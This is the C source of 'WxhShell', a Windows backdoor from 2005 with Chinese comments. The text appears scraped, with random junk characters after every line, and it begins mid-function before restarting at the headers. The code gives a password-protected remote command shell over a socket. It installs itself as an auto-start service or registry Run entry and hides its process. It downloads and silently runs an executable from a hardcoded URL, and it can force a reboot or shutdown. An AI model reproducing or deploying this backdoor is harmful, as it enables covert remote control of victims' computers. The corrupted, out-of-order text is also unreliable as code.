    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y q-7!  
    else { )F%zT[Auph  
    closesocket(wsh); !+ ??3-q  
    ExitThread(0); :.W</o~\s  
    } 2M?L++i  
    break; Ve\P,.  
    } _t\)W(E&  
  // 获取shell 8fQaMn4V  
  case 's': { p(S {k]ZL@  
    CmdShell(wsh); ci{WyIh  
    closesocket(wsh); pL{:8Ed  
    ExitThread(0); 5s1XO*s)>X  
    break; ^%m~VLH  
  } jo[U6t+pj7  
  // 退出 D P+W* 87J  
  case 'x': { ' 8UhYwyr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); to;cF6X  
    CloseIt(wsh); d8/KTl  
    break; (KdP^.7  
    } Z}$1~uyw  
  // 离开 ^h"F\vIpV  
  case 'q': { 8DZ OPA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); h>&t``<  
    closesocket(wsh); %jj\w>  
    WSACleanup(); H.[t&VO  
    exit(1); @ R;o $n  
    break; 3+ WostOx  
        } !i?aRI/6  
  } ,L^ag&!4  
  } , @dhJ8/  
}y#aO  
  // 提示信息 9c=`Q5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z]R)Bh  
} Mg=R**s1x%  
  } f&`yiy_  
kDK0L3}nr]  
  return; $C9['GGR  
} wlfq$h p  
(t2vt[A6ph  
// shell模块句柄 )TyI~5>;  
int CmdShell(SOCKET sock) |FJc'&)J"  
{ !jyy`q=  
STARTUPINFO si; Rln@9muXA  
ZeroMemory(&si,sizeof(si)); "!_,N@\t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rd4mAX6@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '| bHu  
PROCESS_INFORMATION ProcessInfo; td\'BV  
char cmdline[]="cmd"; I8{ohFFo  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |NXe{q7{  
  return 0; ='\E+*[$I  
} .*g^ i`  
PW GN UNc  
// 自身启动模式  '' Pfs<!  
int StartFromService(void) ?/^x)Nm  
{ C+Pw  
typedef struct lsRW.h,  
{ S]}W+BF3  
  DWORD ExitStatus; 8Hh= Sp^  
  DWORD PebBaseAddress; 1c}LX.9K  
  DWORD AffinityMask; 2+qU9[kd|  
  DWORD BasePriority; oq9gG)F  
  ULONG UniqueProcessId; bKP@-<:]  
  ULONG InheritedFromUniqueProcessId; X16r$~Pb  
}   PROCESS_BASIC_INFORMATION; p#tbN5i[{7  
2qfKDZ9f^  
PROCNTQSIP NtQueryInformationProcess; v!%VH?cA8  
#kPsg9Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @w@ `-1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $z'_Hr'  
:, Ad1(  
  HANDLE             hProcess; VfJdCg_  
  PROCESS_BASIC_INFORMATION pbi; ,3FG' q2  
T,fDH!a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U~YjTjbd  
  if(NULL == hInst ) return 0; yh"48@L'D  
pl5Q2zq%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @rt}z+JF  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]{PJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H5?H{  
\:`-"Ou(*  
  if (!NtQueryInformationProcess) return 0; #i}:CI>2  
OA{PKC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d}(b!q9  
  if(!hProcess) return 0; fGMuml?[ e  
g%T`6dvT  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c-bTf$6}  
R:t  
  CloseHandle(hProcess); DzE_p- zs  
wBIhpiJX0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); SbN.z  
if(hProcess==NULL) return 0; - <M'h  
ck K9@RQ  
HMODULE hMod; XCQPVSh  
char procName[255]; SH#!Y  
unsigned long cbNeeded; ]8ob`F`m,  
vC ISd   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *d$r`.9j  
xm bFJUMH  
  CloseHandle(hProcess); Xe>   
EK<ly"S.  
if(strstr(procName,"services")) return 1; // 以服务启动 NJ$c0CNy  
?D S|vCae  
  return 0; // 注册表启动 tboc7Hor4  
} =y WHm  
f`"@7-N  
// 主模块 p-,(P+Np  
int StartWxhshell(LPSTR lpCmdLine) 8$y5) ~Q  
{ i $;y  
  SOCKET wsl; S# sar}-I  
BOOL val=TRUE; ]O.Z4+6w  
  int port=0; kCZxv"Ts  
  struct sockaddr_in door; Swnom?t  
V[baGNe  
  if(wscfg.ws_autoins) Install(); =Z}=nS?4  
,1|0]:  
port=atoi(lpCmdLine); 8/`ij?gn  
<) ltvo(  
if(port<=0) port=wscfg.ws_port; {BS`v5*  
~k780  
  WSADATA data; %P`w"H,v3#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  Jyo(Etp  
Q9NKQuSu  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &1$|KbmV4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a7wc>@9Q,  
  door.sin_family = AF_INET; U# 7K^(E9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); XD$;K$_7  
  door.sin_port = htons(port); ?N(opggiD  
L|A.;Gq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { El4SL'E@  
closesocket(wsl); BhC>G2 ^7  
return 1; P1A5Qq  
} C!s !j  
{;E]#=|  
  if(listen(wsl,2) == INVALID_SOCKET) { U.p"JSH L  
closesocket(wsl); wA?q/cw C  
return 1; N/i {j.=  
} o`<ps$ yT  
  Wxhshell(wsl); z< ,rE  
  WSACleanup(); ]aTF0 R  
 _)=eE  
return 0; ,ou&WI yC  
!;h`J:dN  
} !<W^Fh  
diDB>W  
// 以NT服务方式启动 Cso-WG,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Yi+$g  
{ z`KP }-  
DWORD   status = 0; 8bI;xjK^Q  
  DWORD   specificError = 0xfffffff; pA?2UZ  
w~l%xiC  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?QG?F9?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Zia<$kAO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d+Au`'{>  
  serviceStatus.dwWin32ExitCode     = 0; w!~85""  
  serviceStatus.dwServiceSpecificExitCode = 0; (7J (.EG2e  
  serviceStatus.dwCheckPoint       = 0; G*\U'w4w|*  
  serviceStatus.dwWaitHint       = 0; /j:fc?yv  
`;\~$^sj}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E (bx/f  
  if (hServiceStatusHandle==0) return; VSW"/{Lp  
Zz@wbhMV  
status = GetLastError(); bFtzwa5Gc  
  if (status!=NO_ERROR) Ab/KVB  
{ Zt H{2j0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `d6,]'  
    serviceStatus.dwCheckPoint       = 0; .:V4>  
    serviceStatus.dwWaitHint       = 0; [|{m/`8C  
    serviceStatus.dwWin32ExitCode     = status; *>8Y/3Y\B  
    serviceStatus.dwServiceSpecificExitCode = specificError; =%ZR0cWPoI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); fNaboNj[  
    return; E{W(5.kb;i  
  } ]?A-D,!(  
F  uJ=]T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !j-JMa?  
  serviceStatus.dwCheckPoint       = 0; Egr'IbB  
  serviceStatus.dwWaitHint       = 0; )W.Y{\D0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 32Jl|@8,g  
} S1G3xY$0  
1./iF>*A  
// 处理NT服务事件,比如:启动、停止 0V5{:mzA  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S1D;Xv@  
{ 'e5,%"5(c  
switch(fdwControl) Z|IFT1K  
{ o]O  
case SERVICE_CONTROL_STOP: sm96Ye{O{  
  serviceStatus.dwWin32ExitCode = 0; jhkNi`E7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j O6yZt  
  serviceStatus.dwCheckPoint   = 0; \\i$zRi  
  serviceStatus.dwWaitHint     = 0; /o]j  
  { Jl|^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L$4nbOu\~  
  } |dI,4Z\Qb  
  return; AB")aX2% E  
case SERVICE_CONTROL_PAUSE: (3fU2{sm  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9G"-~C"e3  
  break; z1`z k0  
case SERVICE_CONTROL_CONTINUE: )*I%rN8b   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 19# A7  
  break; XbMAcgS  
case SERVICE_CONTROL_INTERROGATE: 8@J5tFJ&%  
  break; 5_~QS  
}; rtY4 B~_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]/y69ou  
} :MbD=sX  
QB|D_?]  
// 标准应用程序主函数 rN5;W  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) JwM Fu5@  
{ [$P.ek<  
\jGvom.  
// 获取操作系统版本 ;gmfWHB<  
OsIsNt=GetOsVer(); Jk3V]u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9 &p;2/H  
;$>wuc'L  
  // 从命令行安装 ;_<K>r*  
  if(strpbrk(lpCmdLine,"iI")) Install(); gP 6`q  
>W7IWhm3  
  // 下载执行文件 Wk*t-  
if(wscfg.ws_downexe) { _E<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xzjG|"a[GB  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5'hQ6i8  
} wc7F45l4  
*zn=l+c  
if(!OsIsNt) { <=7N2t)s4  
// 如果时win9x,隐藏进程并且设置为注册表启动 K`% I!Br  
HideProc(); @!zT+W&  
StartWxhshell(lpCmdLine); cA]Ch>]A%  
} >( :b\*C  
else qc6eqE  
  if(StartFromService()) EU@XLm6  
  // 以服务方式启动 )}i;OLw-  
  StartServiceCtrlDispatcher(DispatchTable); Q1(6U6L  
else Vuu_Sd  
  // 普通方式启动 5xF R7%_&  
  StartWxhshell(lpCmdLine); 'YUx&F cM  
X=d;WT4,,  
return 0; <<:a >)6\  
} #ZS8}X*S  
TSCc=c  
u{"@ 4  
r GxX]  
=========================================== RS`~i8e'  
BL Q&VI4  
mbm|~UwD  
 ;%tu;  
:\+\/HTbh  
ezR!ngt  
" NDaM;`  
1=X"|`<!  
#include <stdio.h> B{+ Ra  
#include <string.h> 70&]nb6f  
#include <windows.h> ]\_T  
#include <winsock2.h> K9+C3"*I  
#include <winsvc.h> , BCo/j  
#include <urlmon.h> +m8gS;'R4  
F9&ae*>,  
#pragma comment (lib, "Ws2_32.lib") ~0~f  
#pragma comment (lib, "urlmon.lib") OK"B`*  
P Zc{wbjp&  
#define MAX_USER   100 // 最大客户端连接数 \d)~.2$G*  
#define BUF_SOCK   200 // sock buffer 1S26Y|L)  
#define KEY_BUFF   255 // 输入 buffer SWGD(]}uz  
%: .{?FB_  
#define REBOOT     0   // 重启 Oor&1  
#define SHUTDOWN   1   // 关机 =z$XqT.'  
Qy+&N*k>  
#define DEF_PORT   5000 // 监听端口 zz+p6`   
;Pi-H,1b  
#define REG_LEN     16   // 注册表键长度 Sn lKPd  
#define SVC_LEN     80   // NT服务名长度 &R "Q  
A+Xk=k5<  
// 从dll定义API #=hI}%n  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @]0;aZ{3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B "z`X!\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T]fu[yRVvg  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Cp@' k;(  
?]# U~M<'  
// wxhshell配置信息 Aj;F$(su  
struct WSCFG { G`HL^/Z*  
  int ws_port;         // 监听端口 IO\ >U(:vx  
  char ws_passstr[REG_LEN]; // 口令 W l+[{#  
  int ws_autoins;       // 安装标记, 1=yes 0=no uKcwVEu  
  char ws_regname[REG_LEN]; // 注册表键名 uM^eoh_  
  char ws_svcname[REG_LEN]; // 服务名 UHEn+Tc>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =tv,B3Mo  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1E*No1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %EooGHGF?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~KufSt *  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9w=GB?/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -&ic%0|f  
oVLgHB\zL  
}; URodvyD  
t TAql n|  
// default Wxhshell configuration ! Bv"S0  
struct WSCFG wscfg={DEF_PORT, WD^!G;}  
    "xuhuanlingzhe", '>]9efJA  
    1, W5_:Q @  
    "Wxhshell", @L-3&~=  
    "Wxhshell", KnC;j-j  
            "WxhShell Service", aJC,  
    "Wrsky Windows CmdShell Service", {5=Iu\e  
    "Please Input Your Password: ", YYz,sR'%|}  
  1, 'xUyGj:  
  "http://www.wrsky.com/wxhshell.exe", 9;^r  
  "Wxhshell.exe" lKd+,<  
    }; \P;%fN  
WUM&Lq k"  
// 消息定义模块 %U&O \GB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5UQz6DK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5xm^[o2#y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >h0iq  
char *msg_ws_ext="\n\rExit."; R`wL%I!?f  
char *msg_ws_end="\n\rQuit."; 6_m5%c~;+r  
char *msg_ws_boot="\n\rReboot..."; \tj7Jy  
char *msg_ws_poff="\n\rShutdown..."; "Z&-:1tP{9  
char *msg_ws_down="\n\rSave to "; #S/]=D  
hZE" 8%\q  
char *msg_ws_err="\n\rErr!"; 1 XAXokxj  
char *msg_ws_ok="\n\rOK!"; Gyak?.@R  
:K ^T@F5n  
char ExeFile[MAX_PATH]; =7JvS~s  
int nUser = 0; s0 ZF+6f  
HANDLE handles[MAX_USER]; J2$L[d^  
int OsIsNt; +P?!yH,n  
>[=fbL@N<@  
SERVICE_STATUS       serviceStatus; G/nSF:rp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?v-( :OF  
RnN]m!"5  
// 函数声明 JM-spi o  
int Install(void); cY|?iEVs)  
int Uninstall(void); pcd*K)  
int DownloadFile(char *sURL, SOCKET wsh); y mdZ#I-  
int Boot(int flag); $r`^8/Mq3  
void HideProc(void); JC~L!)f  
int GetOsVer(void); j9@7\N<  
int Wxhshell(SOCKET wsl); 0,a;N%K-  
void TalkWithClient(void *cs); 0^41dfdE  
int CmdShell(SOCKET sock); G[}$s7@k  
int StartFromService(void); +rw?k/  
int StartWxhshell(LPSTR lpCmdLine); HJVi:;o  
HuPw?8w=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .Vm!Ng )j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >~-8RM  
L> ehL(]!  
// 数据结构和表定义 P8N`t&r"7  
SERVICE_TABLE_ENTRY DispatchTable[] = Q= DP# 9&  
{ u%J04vG"D  
{wscfg.ws_svcname, NTServiceMain}, |g vx^)ro  
{NULL, NULL} $^Is|]^  
}; j@xerY  
VQ5D?^'0/  
// 自我安装 CbmT aEaP  
int Install(void) /DG+8u  
{ ?v4-<ewD  
  char svExeFile[MAX_PATH]; ~s@PP'!  
  HKEY key;  -a``  
  strcpy(svExeFile,ExeFile); eSNwAExm  
}Ut*Y*  
// 如果是win9x系统,修改注册表设为自启动 Lo^0VD!O  
if(!OsIsNt) { |H`}w2U[j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "|?zQ?E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @6eM{3E.  
  RegCloseKey(key); nRYHp7`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5OUGln5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "~R,%sYb(  
  RegCloseKey(key); f}JiYZ  
  return 0; h0}= C_.^  
    } F)ak5  
  } {:U zW\5l)  
} O)y|G%O  
else { 6w3z&5DY|  
k8 !|WqfP  
// 如果是NT以上系统,安装为系统服务 #wXq'yi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); woCmpCN*I  
if (schSCManager!=0) >K }j}M%  
{ 00Tm]mMQX  
  SC_HANDLE schService = CreateService >WfkWUb  
  ( OAoTsqj6  
  schSCManager, f)`_su U  
  wscfg.ws_svcname, \LYB% K}  
  wscfg.ws_svcdisp, 4e6x1`Y{xB  
  SERVICE_ALL_ACCESS, C-i9F%..  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .lclW0*  
  SERVICE_AUTO_START, Sz_bjhyT}  
  SERVICE_ERROR_NORMAL, )Gf"#TM[  
  svExeFile, ch|4"&g  
  NULL, sw<mmayN  
  NULL, f{ ;L"*L  
  NULL, h^yLmRL  
  NULL, ;VhilWaF-  
  NULL h(q,-')l_  
  ); %49P<vo`?  
  if (schService!=0) }V20~ hi  
  { qH#?, sK ^  
  CloseServiceHandle(schService); F1m 1%  
  CloseServiceHandle(schSCManager); $A GW8"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); n}KF) W=  
  strcat(svExeFile,wscfg.ws_svcname); &I8Q'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { q"Ct=d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); nitKX.t8  
  RegCloseKey(key); EL*OeyU1l  
  return 0; Z~&$s  
    } m<7Ax>  
  } j#}wg`P"A  
  CloseServiceHandle(schSCManager); \"L ;Ct 8  
} e70#"~gt[  
} _ELuQ>zM]+  
MIV<"A  
return 1; L="ipM:Z  
} h(M_ K  
vJybhdvP  
// 自我卸载 I-?PTr  
int Uninstall(void) 0\qLuF[)  
{ R,]J~TfPK  
  HKEY key; x;Qs_"t];3  
I},]Y~Y3  
if(!OsIsNt) { R^v-%mG9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uu5AW=j  
  RegDeleteValue(key,wscfg.ws_regname); MR=dQc  
  RegCloseKey(key); EESGU(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +<l6!r2Z  
  RegDeleteValue(key,wscfg.ws_regname); 6wIo95`  
  RegCloseKey(key); ]2:w?+T  
  return 0; UweXz.x7  
  } QCm93YZs6E  
}  "! -  
} |hx"yy'ux  
else { NOC8h\s}(  
{RG4m{#9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v'0WE  
if (schSCManager!=0) 9'$\GN{0  
{ 0m3:!#\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); mP!=&u fcU  
  if (schService!=0) kGz0`8U Ru  
  { Ox| ?  
  if(DeleteService(schService)!=0) { O4)'78ATp  
  CloseServiceHandle(schService); }u3Q*oAGl  
  CloseServiceHandle(schSCManager); j{8;5 ?x  
  return 0; Th\w#%'N  
  } @2yoy&IO  
  CloseServiceHandle(schService); S*aVcyDEP  
  } 6_G[&   
  CloseServiceHandle(schSCManager); yj:<3_-C*  
} /$z(BX/  
} /nPNHO>U  
xbVvK+  
return 1; 8fI]QW  
} nj90`O.K  
Z.^DJ9E<1  
// 从指定url下载文件 ";kwh8wB  
int DownloadFile(char *sURL, SOCKET wsh) g6AEMer  
{ 4Nb&(p  
  HRESULT hr; Z=[qaJ{]  
char seps[]= "/"; QL].)Vgf  
char *token; jDO"?@+  
char *file; [:hTwBRF  
char myURL[MAX_PATH]; sKg IKYG}T  
char myFILE[MAX_PATH]; Oax6_kmOj  
pr=f6~Z-y  
strcpy(myURL,sURL); ;7:_:o[.  
  token=strtok(myURL,seps); !~j-5+DI  
  while(token!=NULL) \GF 9;N}V  
  { (BT{\|,V_m  
    file=token; )ajF ca@v  
  token=strtok(NULL,seps); h!~Qyb>W  
  } v=pkze  
bZ5cKQ\6  
GetCurrentDirectory(MAX_PATH,myFILE); 6E^h#Ozl 9  
strcat(myFILE, "\\");  BN_I#8r  
strcat(myFILE, file); nB|m!fi<  
  send(wsh,myFILE,strlen(myFILE),0); KbXENz&C  
send(wsh,"...",3,0); 4MFdhJoN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); IPVD^a ?  
  if(hr==S_OK) Kggc9^ 7  
return 0; _c z$w5`  
else s)A=hB-V  
return 1; ?hFG+`"W  
h,*-V 'X.k  
} kB! iEoIBA  
y/.I<5+Bu  
// 系统电源模块 M#u~]?hS  
int Boot(int flag) 0Tv0:c>8;(  
{ ZZ? KD\S5  
  HANDLE hToken; r|ID]}w  
  TOKEN_PRIVILEGES tkp; }J^+66{  
ZRy'lW  
  if(OsIsNt) { >)j`Q1Qc\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rOo |.4w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); up;^,I  
    tkp.PrivilegeCount = 1; V* I2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Pb] EpyAW  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i-YSt5iq  
if(flag==REBOOT) { :Z R5<Y>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U =i=E}'  
  return 0; H %bXx-  
} (i.7\$4  
else { /5wIbmz@I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %.rVIc"  
  return 0; W<c95QD.  
} C"*8bVx]$n  
  } N<N uBtkA  
  else { 9F "^MzZ  
if(flag==REBOOT) { my}l?S[2d@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PK&\pkX  
  return 0; 4(D1/8  
} 1$S`>M%a  
else { 2v\<MrL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +H  SKFp  
  return 0; (:|rCZC  
} /D>G4PP<  
} /J5)_> R:  
K/l*Saj  
return 1; TN=!;SvQU  
} Zsto8wuf#  
DedY(JOvB  
// win9x进程隐藏模块 3EA+tG4KnO  
void HideProc(void) 3%(BZ23  
{ ?ZAynZF|#  
4XNdsb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); CQns:.`$`  
  if ( hKernel != NULL ) T(z/Jm3  
  { ..fbRt  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `L m9!?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'E)g )@^  
    FreeLibrary(hKernel); i `7(5L~`  
  } v\G+t2{  
|ERf3  
return; c>b{/92%  
} 2u%YRrp  
:soR7oHZ  
// 获取操作系统版本 jmJeu@(  
int GetOsVer(void) #/ HQ?3h]  
{ /=[hRn@)A  
  OSVERSIONINFO winfo; {' UK> S  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hkDew0k  
  GetVersionEx(&winfo); 1wLEkp!~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L(q~%  
  return 1; Ve[[J"ze  
  else m:)s UC0  
  return 0; j58'P 5N  
} aflBDo1c  
 jAxrU  
// 客户端句柄模块 *[+{KJ  
int Wxhshell(SOCKET wsl) nU,~*Us  
{ *q*$%H  
  SOCKET wsh; ?_j]w%Hz  
  struct sockaddr_in client; 1xDh[:6  
  DWORD myID; q+U&lw|"w  
!%(PN3*  
  while(nUser<MAX_USER) Ya29t 98Pk  
{ Jy P$'v~  
  int nSize=sizeof(client); >c=-uI  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D zdKBJT+  
  if(wsh==INVALID_SOCKET) return 1; K)#6&\0tT  
%cl{J_}{&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6){nu rDBG  
if(handles[nUser]==0) ,FK.8c6g  
  closesocket(wsh); <AN5>:k[pM  
else Sv\399(  
  nUser++; )ml#2XP!f  
  } T_ga?G<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >Q2kXwN  
Wg=qlux-  
  return 0; a49t/  
}  ay,"MJ2  
u+m9DNPF  
// 关闭 socket qkA8q@Y4|  
void CloseIt(SOCKET wsh) Gx;-1  
{ [mFgo il  
closesocket(wsh); nP+jkNn3  
nUser--; ke19(r Ch  
ExitThread(0); M~ g{}_ 0Z  
} Xu7lV  
]Q -.Y-J/O  
// 客户端请求句柄 z,g\7F[  
void TalkWithClient(void *cs) `RyH~4\;  
{ *YP:-  
KtcuGI/A  
  SOCKET wsh=(SOCKET)cs; 3oM&#a  
  char pwd[SVC_LEN]; tR<L9h  
  char cmd[KEY_BUFF]; qHu\3@px  
char chr[1]; g4Nl"s*~  
int i,j; fF^A9{{BS  
XBm ^7'  
  while (nUser < MAX_USER) { C1x(4&h  
kZ'wXtBYe  
if(wscfg.ws_passstr) { (s,u9vj=>L  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <_yy0G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Tbj}04;I  
  //ZeroMemory(pwd,KEY_BUFF); q{XeRQ'/  
      i=0; /hYFOZ  
  while(i<SVC_LEN) { d0YQLh  
XblZlWP#  
  // 设置超时 &#;lmYyaui  
  fd_set FdRead; {'6-;2&f  
  struct timeval TimeOut; %']`t-N8  
  FD_ZERO(&FdRead); .>NPgd I  
  FD_SET(wsh,&FdRead); `8kL=%(h  
  TimeOut.tv_sec=8; 7 b 8pWM  
  TimeOut.tv_usec=0; bd&Nf2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SN;_.46k  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,S?M;n?z_  
]Y3s5#n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jZ0/@zOf  
  pwd=chr[0]; x\!vr.  
  if(chr[0]==0xd || chr[0]==0xa) { =a6e*f  
  pwd=0; A\v]ZN4  
  break; 7Mb-v}  
  } aPin6L$;)  
  i++; MPMAFs  
    } %:8XZf  
3K%_wCZ  
  // 如果是非法用户,关闭 socket 7)*QX,4C  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); KMXd  
} <tv"I-2  
S"%W^)mZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3-gy)5.x e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SHQgI<D7  
z q@"qnr  
while(1) { 9`Xr7gmQf  
DI=?{A  
  ZeroMemory(cmd,KEY_BUFF); .50ql[En  
 AtP!.p"j  
      // 自动支持客户端 telnet标准   ivvm.7{  
  j=0; lL*"N|Y  
  while(j<KEY_BUFF) { v\R-G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f`-UC_(;  
  cmd[j]=chr[0]; |3Bms d/3  
  if(chr[0]==0xa || chr[0]==0xd) { ZdlQ}l#F  
  cmd[j]=0; C;m*0#9D  
  break; ]~9YRVeC  
  } S5e"}.]|  
  j++; ~T9wx   
    } 4S*dNYc  
"]B%V!@  
  // 下载文件 Jm-bE 8b  
  if(strstr(cmd,"http://")) { ?pV!`vp^{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yUvn h  
  if(DownloadFile(cmd,wsh)) 0A F}wz>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  6Ok]E`  
  else lbC9^~T+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /|8/C40aY  
  } KVPWJHGr  
  else { \I7,1I  
FvDi4[F#  
    switch(cmd[0]) { Amv:dh  
  =gHUY&sPu8  
  // 帮助 &e99P{\D  
